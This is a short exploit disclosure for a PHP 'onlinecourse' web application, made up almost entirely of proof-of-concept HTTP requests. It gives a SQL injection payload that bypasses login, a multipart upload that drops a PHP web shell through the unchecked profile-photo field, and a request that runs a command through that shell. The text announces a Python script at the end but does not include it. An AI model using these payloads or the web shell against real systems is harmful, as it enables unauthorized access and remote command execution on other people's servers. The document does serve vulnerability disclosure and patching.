PoC Request (Authentication Bypass):

POST /onlinecourse/index.php HTTP/1.1
Host: target

regno=joke' or '1'='1'#&password=joke' or '1'='1'#&submit=


There isn't any file extension control in student panel "My Profile" section.
An unauthorized user can upload php file as profile image.

First PoC Request (RCE):

POST /onlinecourse/my-profile.php HTTP/1.1
Host: target

-----------------------------16046344889164047791563222514
Content-Disposition: form-data; name="photo"; filename="simple.php"
Content-Type: application/x-php

<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>


Second PoC Request (RCE):

GET /onlinecourse/studentphoto/simple.php?cmd=ipconfig HTTP/1.1
Host: target


Below basic python script will bypass authentication and execute command on target server.
